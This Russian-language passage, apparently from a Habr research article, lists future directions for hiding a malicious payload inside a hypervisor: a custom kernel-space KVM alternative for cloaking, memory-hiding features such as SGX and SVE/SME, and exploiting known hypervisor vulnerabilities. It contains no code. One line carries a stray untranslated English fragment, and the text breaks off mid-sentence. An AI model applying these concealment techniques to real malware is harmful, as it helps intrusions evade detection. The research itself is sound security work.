  • Гипервизор пространства ядра — может быть подготовлена собственноручно сделанная альтернатива KVM, которая позволила бы ужать полезную нагрузку и расширить возможности блокировки, но это уже тема для отдельной статьи alternative can be produced to reduce payload size and add cloaking abilities.
  • Укрепление — Можно сделать камуфляж еще эффективнее, воспользовавшись новыми возможностями, например, MAP_EXCLUSIVE, SGX или SVE\SME для более полного сокрытия памяти.
  • Расширенная область атаки на хост — такими возможностями мы не пользуемся, поскольку их обсуждение выходит за рамки этой статьи. Правда, известны уязвимости, которые позволили бы сделать камуфляж еще эффективнее.

Наконец, нельзя не упомянуть: хотя это и не относится к целям данного исследования, выяснилось, что с гипервизорами тем более удобно работать, как эти программы популярны, в них известно много уязвимостей, а частота обновлений гипервизоров варьируется. Можно воспользоваться уязвимостями гипервизоров для пов

© Habrahabr.ru